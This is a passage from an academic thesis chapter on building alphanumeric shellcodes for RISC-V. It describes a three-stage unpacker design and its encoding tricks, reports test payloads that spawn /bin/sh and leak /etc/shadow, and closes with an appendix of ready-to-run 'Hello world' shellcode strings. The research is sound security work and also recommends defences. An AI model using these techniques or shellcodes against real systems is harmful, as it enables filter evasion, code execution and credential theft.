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Char Hex Binary
# 0x23 0b000100011
’ 0x27 0b000100111
/ 0x2F 0b000101111

Figure 4.1: Hexadecimal and binary representation for the ASCII characters
#, ’, and /.

In this chapter, we will study alphanumeric shellcodes, i.e. programs
whose binary representation use only the 52 lowercase and uppercase letters
of the English alphabet and the 10 digits (see Table 3.1 in previous Chapter).
As we will discuss, it is only possible to achieve arbitrary code execution
(ACE) at the cost of allowing one additional character: either #, /, or ’
whose hexademical and binary representations are in Table 4.1.

4.1.1 Prior and related work

This work follows a trend initiated in the early 2000s to evade buffer overflow
protections (Eller [Ell00] and RIX [RIX01] on IA-32) and intrusion detection
systems [Mas+09]. Tools to generate alphanumeric shellcodes on the IA-32
platform [BMC14] are now a standard component of attack frameworks such
as Metasploit (msfvenom). IA-32 is particularly well suited to this exercise
as many letters materialize into mov instructions, which form a Turing-
complete subset of operations [Dol13]. To this day however none of these
tools are able to generate alphanumeric shellcodes on RISC-V.

The first automated tool for the ARMv5 platform was provided by
Younan et al. in 2011, relying on a Brainfuck interpreter and byte-
code [YP09; You+11]. The technique, however, does not carry over to more
recent implementations. In 2016, Barral et al. introduced the first tool ca-
pable of compiling arbitrary ARMv8-A code into alphanumeric executable
code [Bar+16]. This is a tour de force, but also and most importantly, it
introduces a generic approach to designing such tools.

4.1.2 Our contribution

We provide the first analysis of alphanumeric code on RISC-V, as well as
a complete framework for automatically generating alphanumeric (+1 char-
acter) shellcodes. Through a three-staged modular design, these shellcodes
achieve ACE on this platform.

This is the second architecture which can be addressed using the method-
ology from [Bar+16], which is an argument in favor of such generic ap-
proaches (rather than ad hoc ones). Our approach differs on the fact that
we do not manually assemble available instructions into higher-level con-
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structs for building the unpacker in a bottom-up fashion and instead opt
for a partially automated strategy to generate the required alphanumeric
instruction sequences to achieve the desired results.

We provide three different constructions, corresponding to each choice
of an additional character. All our programs are given in appendix, being to
the best of our knowledge the first automated tool of this kind for RISC-V,
as well as the first examples of such shellcodes for each construction.

4.2 RISC-V instruction set

RISC-V splits its instruction set between a mandatory core set (RV64I)
and different optional extensions, each of which is designated by a string (a
single letter for the most common ones). The defined extensions include in-
teger multiplication and division (M), atomic operations (A), single-, double-
or quad-precision (F, D, Q) floating-point operations, decimal floating-point
operations (L), compressed instructions (C), bit-manipulation (B), just-in-
time (J), transactional memory (T), packed-SIMD instructions (P), vector
operations (V), and user-level interrupts (N).

The general purpose ISA, which includes IMAFD, is designated by the
letter G. In what follows, we focus on the RV64GC ISA, which is the one
agreed on by Debian and Fedora porters, as well as members of the RISC-V
Foundation. On top of that, the Foundation intends to provide “a pro-
file for standard RISC-V Unix platforms that will include C extension as
mandatory”.2

The RV64GC ISA features 32-bit and 16-bit instructions, aligned on 16
bits. There are 31 general purpose 64-bit registers (x1-x31), 32 floating-
point registers (f0-f31), a program counter (pc), as well as various control-
and-status registers. The pseudo-register x0 designates the zero constant.

For the rest of this thesis we use terminology defined by the RISC-V
Instruction Set Manual, Version 1.10 [WA17]. Assembly instructions are
written in the format add x1 ,x2 ,x3, where add is the opcode, and x1,
x2, x3 are the operands. Precisely, x1 is the destination register, x2 is
the first source register and x3 is the second source register. When one of
the source registers is replaced by a constant, it is called an immediate. To
these conventions, let K be a register, we add our slicing notation asK[y : x]
(with x < y), meaning we take a slice of bits x to y of K, with the lowest
significant bit denoted as the bit 0.

RISC-V ELF psABI specification [Dab+16] provides a register naming
convention, reproduced in 4.1.

2https://wiki.debian.org/RISC-V

https://wiki.debian.org/RISC-V
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Register ABI Mnemonic Meaning
x0 zero Zero
x1 ra Return address
x2 sp Stack pointer
x3 gp Global pointer
x4 tp Thread pointer
x5-x7 t0-t2 Temporary registers
x8-x9 s0-s1 Callee-saved registers
x10-x17 a0-a7 Argument registers
x18-x27 s2-s11 Callee-saved registers
x28-x31 t3 -t6 Temporary registers
f0-f7 ft0-ft7 Temporary registers
f8-f9 fs0-fs1 Callee-saved registers
f10-f17 fa0-fa7 Argument registers
f18-f27 fs2-fs11 Callee-saved registers
f28-f31 ft8-ft11 Temporary registers

Table 4.1: Naming convention for registers, per psABI [Dab+16].

4.3 Alphanumeric RISC-V
The first step towards building an alphanumeric shellcode for RV64GC con-
sists in generating the subset of alphanumeric valid instructions, which we
denote by αRV64GC. For this purpose, we generated every 16-bit and 32-
bit alphanumeric sequence, and tentatively disassembled it using objdump.
Per RISC-V Instruction Set Manual, 16-bit instructions must have their two
least significant bits set to 00, 01 or 10. Similarly, 32-bit instructions must
have their five least significant bits set to bbb11, with bbb different from
111.

Furthermore, some opcodes may encode invalid or unimplemented in-
structions. For instance, the little-endian word 7OOT corresponds to a load
upper immediate (lui), whereas WOOT does not correspond to any valid
RV64GC instruction, although its least significant bits are those of a valid
32-bit instruction:

7OOT 0x374f4f54 lui t5 ,0 x544f4
WOOT 0x574f4f54 undefined

After filtering out all invalid sequences, we regroup the remaining instruc-
tions according to their opcode, providing an overview of the available in-
structions for which there are some operands making them alphanumeric.

The internal structure of the instruction defines the main constraints on
the alphanumeric language subset. Each 32-bit instruction has its opcode
encoded in the first 7 bits of the first byte. Requiring the first byte to be
alphanumeric will therefore greatly reduce the available opcodes, while pro-
viding a wide range of operands for each opcode. On the contrary, 16-bit
instructions are more entropic in their spread. Henceforth, more opcodes
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are available, with fewer operands for each opcode. Consequently, the ex-
pressiveness of αRV64GC relies on the intelligent combination of instructions
of various lengths.

Hereafter, we provide a review of those instructions, by explaining their
semantics and some insight on the available operands. For simplicity and
following the methodology introduced in Chapter 3, we cluster instructions
as control-flow, data processing, and memory manipulation instructions.

4.3.1 Data processing

Data processing includes every instruction that does not modify the memory
or the program counter. Two variants may be available for each instruction,
either operating on the usual 64-bit registers or performing the operation
on 32 bits and sign-extending the result to the 64-bit register. Using 32-bit
variants for pointer manipulation prevents from reaching addresses rang-
ing from 0x8000 0000 to 0xFFFF FFFE FFFF FFFF. This is a serious caveat
for bare-metal shellcodes—as existing boards often have the DRAM start
at 0x8000 0000—forcing us to use the 64-bit variant. Hereafter, we only
present the most useful ones, omitting instructions which may have odd
effects (like micro-architectural hints for branch predictors):

• The addition addi instruction enables adding or removing only some
specific immediate values multiples of 16 to sp. Its 32-bit signed
variant addiw is also available, and allows increasing or decreasing
registers a0, a2, a4, a6, s0, s2, sp, t1, and tp from −20 to 30.

• The instruction li, allows loading signed integers (ranging from −20
to 30) into registers sp, tp, s0, s2, s4, s6, s8, s10, t1, t3, t5,
a0, a2, a4, and a6. We use the letter S to designate this set of
registers.
Loading immediates to registers may also be carried out with the lui
instruction (load upper immediate), which loads a 20-bit signed imme-
diate into the bits 31-12 of a register in S. The lowest bits are all set
to zero, while the 32 highest bits are computed as the sign-extension of
the immediate. We counted 238,791 alphanumeric lui instructions,
with a large choice of immediates.

• Bitwise manipulation: only the sra (shift right arithmetical) instruc-
tion is available, with all registers of S as source and destination, and
registers s3–s7 as shift amount.

• Floating-point operations: many useful floating-point operations are
available in αRV64GC, in simple, double and quad precision. Among
them we find sign manipulation like fabs (absolute value) or multiply-
accumulate fmadd and its variants (r ← ±a× b± c).
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• Control-status register manipulation: many instructions available,
such as csrc , csrci , csrrc , csrrci , csrrsi , csrrwi , csrwi ,
not detailed here. As privileged access may be required, we preferred
not using them and instead use the other available data processing
instructions.

4.3.2 Control-flow instruction

Both conditional and unconditional jump instructions are available. For un-
conditional branching, we have both j (jump) and jal (jump and link)
available, with the possibility of linking any register in S. Conditional
branches are also available, with a wide variety of branching conditions:
bgtz , ble, bleu , blez , blt, bltu . No backward jump is available,
as the immediate offset has its sign set on the highest bit of a byte (hence
always equal to zero when alphanumeric). This may prevent the Turing com-
pleteness of αRV64GC, as no unbounded computation mechanism is available
without additional assumptions, such as code-reuse or self-modifying code.

4.3.3 Memory processing

We have both 32-bit lw and 64-bit ld loads, as well as double-precision
floating-point fld loads. However, no stores are available, which makes it
impossible to write arbitrary shellcodes: we can only modify the registers
and not the machine’s memory state.

This turns out to be a strong limitation as for instance the shellcode
designer cannot build paths (such as "/bin/sh") in memory (this is not an
alphanumeric string). Thus, additional assumptions must be made, either
by finding gadgets able to write to memory or by reusing memory previously
set to the desired value at a known position (e.g., an environment variable).
Either option seems unsuitable in the context of a self-contained shellcode.

We therefore consider the possibility of allowing one non-alphanumeric
character—a choice which may be governed by operational constraints as
well. Among all ASCII-printable instructions modifying memory, only three
non alphanumeric characters stand out: slash /, hash #, and tick ’.

• Adding the hash character # gives standard 32-bit sw and 64-bit sd
store instructions. The 32-bit store sw provides the ability to store
almost any variable to various addresses with offsets multiple of 32.
Given that there is no possibility to increment a 64-bit register by less
than 16 (using addi), many memory areas are out of reach. The 64-
bit variant sd seems more promising: indeed, the available offsets are
only 2 bytes apart. Using this, we can efficiently store data by using
addi increments for coarse-grained pointer manipulation and reaching
the exact store address (up to a precision of 2 bytes) by tweaking the
offset of sd.
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• Adding the slash character / provides some atomic instructions, such
as 32-bit and 64-bit atomic read-modify-write variants of binary con-
junction amoand and disjunction amoor . As an example, amoor.d
t1,s5 ,(sp) loads 64 bits from the address in sp into t1, and stores
in the same address the disjunction of t1 and s5. Note that the ad-
dresses passed to atomic operations must be naturally aligned, which
adds further complexity when designing our shellcode.

• Adding the tick character ’ provides floating-point store instructions
fsd, fsq, fsw. Controlling the stored values requires deep technical
knowledge of floating-point binary representation, as the associated
data manipulation operations are of the form ±a× b± c (e.g., fmadd ,
fmsub).

For each of these three characters, we define a new subset of RV64GC, denoted
respectively #RV64IC, /RV64IAC and ’RV64IDC. The following section details
how we can achieve ACE in #RV64IC, setting up the stage and much of the
machinery for shellcodes in /RV64IAC and ’RV64IDC as well. Since these
require additional work, they are discussed further on.

4.4 High-level design

Several approaches can be used to run arbitrary code from an instruction-
limited shellcode. The main available techniques are: virtualization, compi-
lation, and packing.

Virtualization, as used by Younan et al. for 32-bit ARMv7 alphanu-
meric shellcoding [YP09; You+11], requires the design of a bytecode and an
interpreter, both compatible with the limited instruction set, and powerful
enough to mount a realistic attack—beyond Turing-completeness, we need
to perform system calls or other mechanisms to evade the virtual environ-
ment. Virtualization presents a significant runtime overhead as well as a
committed engineering effort.

Compilation, when applicable, is very efficient: compilers such as
movfuscator [Dol13; Dom15] and higher subleq [Maz09] have been pro-
vided for one instruction set computers, reduced ISA subsets made of only
one instruction. However, such methods are not applicable to αRV64GC as
they often rely on syntax-directed translation schemes. Here, the heavy
constraints in αRV64GC on the instruction operands hinders methods that
systematically translate each grammar symbol into the target language. Fur-
thermore, writing compilers is in itself a daunting task. Perhaps for these
reasons, to the best of our knowledge, no work on compilation for alphanu-
meric shellcoding has been published.

Packing is the third method, and by far the most common approach
in shellcoding. This typically results in multi-staged shellcodes, where one
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stage decodes a second stage which is then executed. Packers can pro-
vide additional functionalities such as encryption, which we do not explore
here. However, this technique requires the ability to execute self-modifying
code, which may be hindered by the presence of executable-space protec-
tion mechanisms like DEP [Mic], PaX [PaX12] or NX-bit [May05]. More-
over, self-modifying code raises cache issues which need to be handled on a
target-specific basis.

We decided to follow this third approach: it is conceptually simpler,
much easier to check for correctness, and well suited to our target platform.

4.5 Detailed construction

In this section we show how to achieve arbitrary code execution, by de-
tailing each step of the #RV64IC version of the shellcode. Building on the
foundations laid with #RV64IC, we achieve similar results in /RV64IAC and
’RV64IDC.

As explained in 4.4, we use a packing multi-staged design. We present a
three-stage approach:

• The first stage is a specific unpacker written in #RV64IC;

• The second is a general unpacker written in a slightly larger subset of
RV64IC;

• The third is our arbitrary payload.

The rationale for using three stages is governed by #RV64IC not containing
backjumps, therefore forcing us to unroll the decoding logic. This would
result in unwieldy large shellcodes if there were only two stages. Instead,
we use the first unpacker U1, whose structure is shown in 4.2a, to unpack a
minimal program U2 shown in 4.2b. The program U2 has backward jumps
and can therefore efficiently implement a decoder using a loop. U2 unpacks
and executes the third stage, which is the payload P.

4.5.1 Stage 1

U1 is an unpacker for the next stage. It is fully written in #RV64IC. As
no backward jumps are available, the unpacker is written as a straight-line
program.

Specifically, U1 must: (1) locate the shellcode and jump over the encoded
payload; (2) fix the store pointer; (3) unpack stage 2; (4) jump to the
decoded stage 2.

We achieve (4) simply by placing the decoded stage 2 immediately after
U1’s last instruction. The other steps are detailed below:
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init

forward jump

encoded payload
Penc

Unpacker U1

Stage 2 U2
(unpacked by U1)

(a) General structure of stage 1: an initialization section, with a forward jump over
the data-pool that contains the encoded final payload Penc, and the unpacker U1.
The location where stage 2 is unpacked is highlighted in grey.

init

main
decoding
loop

backward jump

jump

Stage 3
Payload

...

U2

(b) General structure of stage 2: an initialization section, with a loop decoding
at each iteration one byte of the final payload P using two bytes of the encoded
payload Penc. It finally jumps to the decoded payload, highlighted in grey.

Figure 4.2: The general structure of the different stages of the shellcode.
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4.5.2 Locating the shellcode and jump over the encoded pay-
load

To make the shellcode position independent, we find its absolute position in
memory using the jump and link (jal) instruction which stores the program
counter to a user-specified register. This instruction consequently increases
the shellcode’s size by jumping over a large memory region. Yet, this area
is not entirely wasted, as we repurpose it to store our packed payload P.

4.5.3 Fixing the store pointer

The next step consists in setting up the register XI containing the address
at which we will write stage 2. For this purpose we use the absolute address
obtained in 4.5.2, to which we add a constant using several addi instruc-
tions. We must not forget the additional offset required when using the sd
store instruction in the decoder. Consequently, stage 2 will be unpacked
immediately after the shellcode.

The biggest immediate available for the addi instruction in αRV64GC
is 464. Since the shellcode is much longer, we use the following trick: we
first append several addi XI , XI , 464 instructions until we exceed the
desired value. Then we replace some immediates in the sequence by the
second biggest available immediate, i.e. 448, which reduces the total sum,
until the desired value is reached.3 In this way, we are guaranteed to use
the least amount of addi instructions possible.

4.5.4 Unpacking stage 2

We then unpack stage 2 starting at XI+store_offset, where XI is the register
we previously set. This is done sequentially, using the sd instruction with
carefully chosen offsets. Indeed, we have many offsets only 2 bytes apart.
In our case, we chose a long chain of offsets (available from our constrained
instruction set), each exactly 2 bytes apart, 1920, 1922, ..., 1938. This
allows storing at most 20 consecutive bytes by first loading 2 bytes into a
register and then storing them into memory. We use a precomputed table
providing for each immediate the minimal sequence of instructions needed
for loading it to a given register. We explain below how to compute this
table. To store more than 20 bytes, we increment XI (using the addi
XI, XI, 16 instruction) between each batch of 16 bytes, and continue
with offsets 1924, ..., 1938. The whole stage 2 is 40 bytes long, unpacked in
3 batches of 20, 16, and 4 bytes.

The above strategy relies on a precomputed table of sequences for achiev-
ing arbitrary 2-byte loads. We generate this table using a depth-first search
strategy, by iterating over #RV64IC instruction sequences and storing the

3A small NOP sled of at most 16 bytes may be required for getting an exact match.
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reached values. This approach yields for each 2-byte immediate the shortest
sequence required to load it into a register.

More precisely, the first instruction of the sequence is a lui (loads an
immediate in bits 12 to 31 of the destination register). It is followed by
an arithmetical right-shift sra instruction (unless the shift amount is null).
By intersecting the set of possible registers which may be used both as
destination register for sd and lui, we end up with registers s4, s6, t1,
tp. As sra requires a register as a shift amount, we also iterate over all
possible load immediate li and addiw subsequences to get the desired shift
amount.

The next instructions of the sequence are made of addiw instructions,
with immediates ranging from -20 to 30. We limit the exploration of the
instruction sequence space to at most 4 addiw instructions, to keep U1
compact. This limitation still grants the possibility to load 63448 out of the
65536 possible values (or 96%) into s4, s6, t1, or tp.

In this way, we can design our stage 2 with a substantially expanded set
of available instructions. Indeed, we merely need that every pair of bytes in
stage 2 can be loaded from an instruction sequence in the table.

4.5.5 Stage 2

Stage 2 (U2) is more straightforward. It consists of initialization code fol-
lowed by a loop whose body decodes two consecutive bytes of Penc, the
encoded payload. The full implementation can be found in Appendix 4.B.
The initialization code sets three registers:

• the reading pointer XP pointing to the encoded payload

• the writing pointer XQ pointing to the start of the decoded payload

• the end pointer XS pointing to the end of the decoded payload

For simplicity, U2 performs in-place decoding, meaning that XP is ini-
tially equal to XQ.

We also flush the instruction cache with a fence.i instruction, which is
required as we modify executable memory. In 4.6 we discuss the assumption
that the first fence.i is not shadowed in the instruction cache.

Since 63 characters are available, it is theoretically possible to encode
almost 6 bits of the payload in a single alphanumeric byte of the shellcode.
However, to keep U2 short, we decided to encode only 4 bits per alphanumeric
byte. This spreads each byte of the payload over 2 consecutive alphanumeric
characters. As stage 2 is unpacked sequentially by the first stage, we need
to make stage 2 the shortest possible, even if this makes the encoder more
complex. Indeed, any additional length here would lead to a significant
increase in stage 1 size. Let K be the byte stored at XP + 1, L the byte
stored at XP and A the byte written at address XQ by the store instruction.
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lw XS , 4(XP) # Load K and L bytes
# XS == 0x????K[4:7]K[0:3]L[4:7]L[0:3]
mv XT , XS # Duplicate value
srli XT , XT , 4 # Shift right by 4
# XT == 0x?????K[4:7]K[0:3]L[4:7]
xor XS , XS , XT # XS := XS ⊕ XT
# XS == 0x??????A[4:7]A[0:3]
sw XS , 0(XQ) # Store decoded byte A

Figure 4.3: The body of the main decoding loop

The decoding algorithm we devised only requires 5 instructions in the body
of its loop, as shown in Fig. 4.3.

Hereafter, we find the encoding formulae by solving the decoding equa-
tions. Henceforth, when encoding byte A, the encoder must find values for
K and L so that:

K and L are alphanumeric
L [0 : 3] ⊕ L[4 : 7] = A[0 : 3]
K[0 : 3] ⊕ L[4 : 7] = A[4 : 7]

One should remark that every byte of the form 0x4* or 0x6* for * non
null is alphanumeric. This simplifies the resolution of the previously given
constraints. The following solution can be checked to give an alphanumeric
encoding for any input byte.

L[4 : 7] = 0x4 if A[0 : 3] 6= 0x4 else 0x6
L[0 : 3] = A[0 : 3] ⊕ L[4 : 7]
K[0 : 3] = A[4 : 7] ⊕ L[4 : 7]
K[4 : 7] = 0x4 if A[0 : 3] 6= 0x0 else 0x5

Finally, as executable memory modifications occurred, we flush the in-
struction cache again using a fence.i instruction, and jump to the de-
coded payload P.

4.5.6 Payload

Stage 3 is the payload P, containing arbitrary binary code. We generate
this code directly from a C source payload compiled with a standard gcc.
The resulting binary code is then encoded as described in 4.5.5.

The size of the payload is upper bounded by the offset chosen for the
forward jump in Fig. 4.2a. For our needs, we deemed 1024 bytes to be suf-
ficient, allowing us a decoded payload of 512 bytes. Note that with some
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minor engineering work, this maximum size can be increased. In the context
of usual shellcoding attacks, the payload almost always fits into this limit.
As a proof-of-concept, we test in 4.6 three different payloads for a stan-
dard Linux: a printf("Hello world") shellcode, an execve("/bin/sh")
shellcode, and one that leaks the contents of /etc/shadow.

4.5.7 Integration/Linking

All in all, the complete shellcode is built in the following order:

1. We compute the table of minimal instruction sequences (4.5.4).

2. We build the final payload P, and compute its length (4.5.6).

3. We generate stage 2, with the appropriate values for the reading
pointer, the writing pointer, and the end pointer (4.5.5, 4.2b).

4. We generate the unpacker for stage 2, and compute its length (4.5.4).

5. We generate the code for fixing the store pointer (4.5.3).

6. We then build the whole shellcode, without its encoded stage 3 pay-
load, for which we allocated the necessary space.

7. We finally insert the encoded payload P at the appropriate location
in the shellcode.

4.5.8 Shellcoding in /RV64IAC

We have also created a version of the shellcode in /RV64IAC, using atomic
store instructions instead of regular stores for unpacking in stage 1. Data is
stored with the amoor.d instruction which operates on 8 naturally aligned
bytes. By opposition to the previous implementation in #RV64IC, we do
not have offsets for stores, hence we need to modify the store pointer using
available addi instances, which can only increase a register by a multiple
of 16. We thus store our decoded stage 2 in blocks of 16 bytes. As we have
control over only the 8 first bytes, we decided to split them into two parts,
the first four bytes containing the decoded instruction, whereas the next two
bytes contain a jump instruction to the next block (j .+0xc , or 0x31A0
in hexadecimal). The structure of the block is shown in Figure 4.4.

instruction nop-like jump
to next
block

(unused)

0 2 4 6 · · · 16
Figure 4.4: Diagram of a 16-byte block. Our stage 2 instructions are located
in the first two bytes, while the next two contain a NOP-like instruction
followed by a jump to the next block. The last 10 bytes are unused.
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As required by the sequences for 2-byte arbitrary load computed in 4.5.4,
we wrote stage 2 using only compressed instructions. The only exception is
fence.i , which is unavoidable and does not have a compressed version.
In this case, we use a custom sequence to store its value (0x0000100F). We
would like to particularly thank the authors of RISC-V for the fact that
the 16 highest bits of fence.i are all zeros, which keeps our sequence of
instructions really short. Otherwise we would have required chaining many
addi instructions, making the shellcode too long to be used in practice.

The sequences used for loading the 2-byte instructions are computed
using a table similar to that of 4.5.4. By opposition to #RV64IC, here the
word’s two highest bytes will be executed as an instruction. We make sure
that these two bytes do not modify the high-level semantics of the program.
Altogether, the table allows loading 58174 possible 16-bit values, out of
65536 (or 88%) which still allows encoding our stage 2 with only minor
modifications, at the expense of a slight size increase of only 2 bytes. The
payload and its encoding remains identical.

4.5.9 Shellcoding in ’RV64IDC

Shellcoding in ’RV64IDC is more tricky. First of all, it requires the floating-
point unit (FPU) to be activated, which in practice is always carried out
by the operating system when working in a hosted environment. In the
context of the bare-metal examples presented in this chapter, we use a small
additional piece of non-alphanumeric code, whose sole purpose consists in
activating the FPU (0x896373900330).

Similarly to /RV64IAC, the main difference lies in the way stage 2 is un-
packed by U1. This time, we store in the data-pool some floating-point values
which are used by U1 during unpacking. The most general floating-point
data manipulation instruction available is fmadd r, a, b, c (fused-
multiply add): it computes r = a × b + c. The store operation fsd then
stores r at the desired memory location. We thus have to solve equations of
the form ri = ai × bi + ci, where ri is a small part of the decoded stage 2,
under the constraint that each ai, bi and ci need to be loaded from the data
pool. To keep our data pool as small as possible, we need to share values be-
tween different equations. As this increases the mathematical complexity of
solving floating-point equations, we decided to work on a simplified version
of the problem, in which we only encode 6 bytes of stage 2 into ri. Indeed, in
this way, the constraint lies only in the mantissa of the floating-point. Fur-
thermore, we fixed the two remaining bytes of ai, bi and ci to alphanumeric
constants which do not propagate carries to the exponent when performing
the operation. These simplifications turned out to be sufficient for solv-
ing the equations while reducing the total number of different floating-point
constants.

Hereafter, we present some of the methods we used for reducing the
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number of different floating-point constants used. The first consists in using
the same bi for all equations, as, without loss of generality, this does not
impede finding a solution by just modifying ai and ci. This simplification
allows solving the equation by testing random alphanumeric values for ai,
computing the adequate ci then checking both ai and ci are alphanumeric.
A simple combinatorial analysis gives us the approximate probability that a
randomly chosen alphanumeric ai gives an alphanumeric solution for ci as:
( 62

256)6 ' 1
50000 .

The second method consists in using the same ak for two consecutive
equations. Formally, we require finding solutions ak, c2k, c2k+1 for the fol-
lowing set of equations:

r2k = ak × b+ c2k

r2k+1 = ak × b+ c2k+1

Unfortunately, these equations are not guaranteed to always have so-
lutions. Indeed, let r2k and r2k+1 differ in their highest bit. This means
the highest bits of c2k and c2k+1 are different.4 Hence one of them is non-
alphanumeric. The solution we found consists in making stage 2 polymor-
phic, and trying to solve these equations for all instances of stage 2, hoping
to find one for which all equations have a solution. The different stage 2
instances are generated by either modifying the registers (150k variants),
reordering initialization instructions for the loop (6 variants), or reordering
the pointer increment instruction in the loop’s body (7 variants); yielding a
total of about 6 million stage 2 instances.

Algorithm 4.1 uses memoization to speed up the resolution of equations.
In the worst case, the first loop has 12 million iterations (which can be
executed in parallel), the second has 4 iterations while the last has 2 million
iterations. In practice, when accounting for memoization, we counted 2.3×
1011 iterations, requiring 1.5 execution hours on a 4-core Atom 2GHz CPU.
Eventually, we found several instances for which all equations had a solution.
The rest of the shellcode is built in the same fashion as the previous versions
presented in the previous sections.

4.6 Evaluation

4.6.1 QEMU

We initially tested our 3 shellcodes on QEMU [Bel05], a widespread open-
source emulator. It emulates a HiFive Unleashed RV64GC development
board, without micro-architectural features like caches or timings. The
payload is expected to print “Hello world!” on the serial device mapped

4We omit the rare and lucky case where carry propagation still provides a solution to
the equation.
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Input: b, a 64-bit floating-point value
Input: s0, ..., s2`+1, the stage 2
Result: a list of 64-bit floating-point values
mem := Array(None) ;
P := Polymorphism(s0, ..., s2`+1) ;
foreach r0, ..., r2`+1 in P do

for k = 0 to ` do
if mem[r2k][r2k+1] is not None then

continue
end
for i = 0 to 2000000 do

a := RandAlphanumFloatingPoint()
Solve c2k in

r2k = a× b+ c2k
Solve c2k+1 in

r2k+1 = a× b+ c2k+1
if c2k and c2k+1 are alphanumeric then

mem[r2k][r2k+1] := a
break

end
end
if mem[r2k][r2k+1] is None then

mem[r2k][r2k+1] := NotFound
end

end
if 6 ∃k,mem[r2k][r2k+1] is NotFound then

return (mem[r2k][r2k+1])(k=0..`)
end

end
Algorithm 4.1: Automated testing of the existence of a solution to
the sets of equations induced by a specific stage 2 encoding. The
outer loop is parallelized, testing several stage 2 instances
concurrently.

at address 0x10013000. After generating the corresponding shellcodes for
#RV64IC, /RV64IAC and ’RV64IDC, we successfully managed to execute them
on QEMU. In 4.A, we provide the generated shellcodes, as well as instruc-
tions to easily reproduce this experiment.

4.6.2 HiFive Unleashed

Subsequently, we moved to a more realistic environment, including a Linux
operating system on a HiFive Unleashed board powered by a quad-core
Freedom U540 RV64GC processor. It features an off-the-shelf Fedora 28 stage
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4 disk image in a buildroot chrooted environment, for which we created a
purposely vulnerable application executing its input data.

The first payload uses the write system call to print “Hello world!”
on the standard output. As previously, we generated the three different
versions of our shellcode, and successfully managed to execute them on the
vulnerable application. We successfully test the three shellcodes with two
other payloads, one that spawns a shell using the execve system call, and
one that prints to the standard output the contents of /etc/shadow file,
using the openat, read and write system calls.

As a side note, as the floating-point unit is activated by the operating
system, our ’RV64IDC shellcode no longer requires the non-alphanumeric
previously described gadget. Furthermore, we did not observe any instruc-
tion cache issue, as one could foresee when using self-modifying code. This
can be explained by the use of fence.i instructions that synchronize the
instruction cache.

4.7 Conclusion and future work
We described a methodology for writing arbitrary alphanumeric (+1) RISC-
V shellcodes. This method relies on unpacking, in which a program written
in a very constrained instruction set stores another program written in a
less constrained instruction set into the memory. Here, we required two un-
packers in a three-staged shellcode to achieve arbitrary code execution. As
a proof-of-concept, we showed examples of such shellcodes for the HiFive
Unleashed board, featuring a standard Linux operating system. These pos-
itive results validate our choice for unpacking methods as the most suitable
solution to the problem of writing executable code in a very constrained ISA
subset.

Besides, the shellcodes provided in this chapter only show proof-of-
concept attacks. With the wide adoption of RISC-V based devices, we
expect the attack surface to widen as new applications are published. There-
upon, we recommend for RISC-V platforms, whenever an MMU is not
available, the adoption of defense mechanisms implementing W^X, such
as the Physical Memory Protection (PMP). On the attacking side, automa-
tion seems the most promising way to improve. Indeed, shellcodes tend to
be handwritten or automated using ad hoc algorithms. We believe that a
more general approach based on a higher-level semantic representation of
the available instructions may be able to comprehensively solve the problem
of writing code in a constrained ISA subset.



82 CHAPTER 4. ALPHANUMERIC SHELLCODING ON RISC-V

4.A Hello World Shellcodes
We provide ready-to-use demo shellcodes, written respectively in #RV64IC,
/RV64IAC and ’RV64IDC. They print “Hello world!” on the serial output,
when executed on QEMU with the following command:
qemu-system-riscv64 -nographic -machine sifive_u

-device loader,file=shellcode.bin,addr=0x80000000
The notation (X)ˆ{Y} means that X is repeated Y times.
Colors have been added to each shellcode, with each color describing a

specific high-level operation described in section 4.5. The instructions that
jump over the encoded payload and put the location of the shellcode in sp
as described in section 4.5.2 are colored in red. The encoded payload is in
blue. Fixing the store pointer (section 4.5.3) is in cyan. Unpacking the stage
2 (section 4.5.4) is in purple. The final nopsled is in brown. For /RV64IAC
and ’RV64IDC, additional data stored in the data pool is shown in green.
In /RV64IAC, additional code is required to first store the jump instruction
(as shown in section 4.5.8) which is here in orange. Unused parts of the
shellcode are in black.



4.A. HELLO WORLD SHELLCODES 83

4.A.1 #RV64IC QEMU Hello World

o#0# (BBBB)ˆ{1304} CGEDEDDDOEEDEEDDGEEE
ECEDGEEDEDLAKJDDDBDDEDDNCMCDDDDDGMCLCFFD
COBGEDDEGDCHCDDDALCDLMFHGDCHCDDDACOKEDAP
FLDLDDDDDDDDLPABHBHBKBHFDFCCKBFCHBbPEFND
DDDDBB (BBBB)ˆ{1377} 3Z0A3QCAyayayayaya
yayayayayayayayayayayayayayayaEcY3e##0ax
Aj#1Ay75v71J3SEAi##2ax7Eo91J3SEAY##3ax75
#zMJ3SEAM#y#y##4axQcY3E##5ax7ER81J3SEAY#
#6ax7Ej81J3SEAY##7ax75PP9J3ZEA#8Ay7#z81I
3Z#A#9AyAa75r05J3ZEA#2Ay7EBA9J3ZEA#3Ay7#
F#1Im93S#Au3#4ax7Ea85J3SEAY3#5ax7Up01J3Z
EA#6Ay759M5J3SEAi##7axAcy3e3#8axEcY3e##9
axAaAj#2Ay7#h91I3Z#A#3AyySySySySs0A4

4.A.2 /RV64IAC QEMU Hello World

ySySo/0/BBBBB03JBBBBBBBBBBBBBPCJ
(BBBB)ˆ{1955}
CGEDEDDDOEEDEEDDGEEEECEDGEEDEDLAKJDDDBDD
EDDNCMCDDDDDGMCLCFFDCOBGEDDEGDCHCDDDALCD
LMFHGDCHCDDDACOKEDAPFLDLDDDDDDDDLPABHBHB
KBHFDFCCKBFCHBbPEFNDDDDD (BBBB)ˆ{751}
3Y0A3Q/ABj/8Aa/8Aa1J3RHA3Z0A/0Ac/8AD//Aa
/2AA9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a
9a9a9a9a9a9a9a9a3Z0A/0Ac/8AD75/AIJ3SEA13
1313//aDAa3Z0A/0Ac/8AD75xG1J3SEAi3//aDAa
3Z0A/0Ac/8AD7EqI1J3SEAY3//aDAa3Z0A/0Ac/8
AD7EpQ9J3ZEA//AAAa3Z0A/0Ac/8AD75gA9J3SEA
y3//aDAa3Z0A/0Ac/8AD7ETH1J3SEAY3//aDAa3Z
0A/0Ac/8AD7ElH1J3SEAY3//aDAa3Z0A/0Ac/8AD
75PP9J3ZEA//AAAa3Z0A/0Ac/8AD7/zH1I3Z/A//
AAAa3Z0A/0Ac/8AD75r05J3ZEA//AAAa3Z0A/0Ac
/8AD7EBA9J3ZEA//AAAa3Z0A/0Ac/8AD7/F/1Im9
3S/Au3//aDAa3Z0A/0Ac/8AD7Ea85J3SEAY3//aD
Aa3Z0A/0Ac/8AD7UpP1J3ZEA//AAAa3Z0A/0Ac/8
AD75aA1J3SEAY3A3//aDAa3Z0A/0Ac/8AD7///1I
